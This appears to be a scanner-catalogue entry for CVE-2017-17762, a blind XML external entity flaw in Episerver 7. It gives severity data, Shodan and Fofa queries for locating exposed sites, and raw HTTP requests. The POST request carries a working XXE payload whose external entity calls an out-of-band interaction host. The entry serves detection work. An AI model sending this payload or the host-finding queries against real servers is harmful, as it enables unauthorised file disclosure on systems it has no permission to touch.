| Title | Episerver 7 - Blind XML External Entity Injection |
|---|---|
| Author | pussycat0x |
| Severity | High |
| Impact | Remote attackers can read sensitive files from the server, leading to information disclosure. |
| Remediation | Update to the latest version of Episerver or apply security patches that fix XXE vulnerabilities. |
| CVSS Score | 7.5 |
| EPSS Score | 0.14323 |
| CVE ID | CVE-2017-17762 |
| CWE ID | CWE-611 |
| Shodan Query | http.html:"episerver"cpe:"cpe:2.3:a:episerver:episerver"http.html:"epihash" |
| Fofa Query | body="episerver"body="epihash" |
| Tags | cve cve2017 xxe oast episerver oob |
Episerver 7 patch 4 and earlier contains an XML external entity (XXE) caused by processing crafted DTD in XML requests involving util/xmlrpc/Handler.ashx, letting remote attackers read arbitrary files, exploit requires sending malicious XML payloads.
GET /util/xmlrpc/Handler.ashx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /util/xmlrpc/Handler.ashx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.8
Connection: close
Content-Length: 253
Accept: */*
Content-Type: text/xml
Accept-Encoding: gzip
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE methodCall [
<!ENTITY % xxe SYSTEM "http://d5jqa7hle0o4bf2qmus0p44shkupzqoiw.oast.online">
%xxe;
]>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-17762.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-17762.pcap
N/AN/A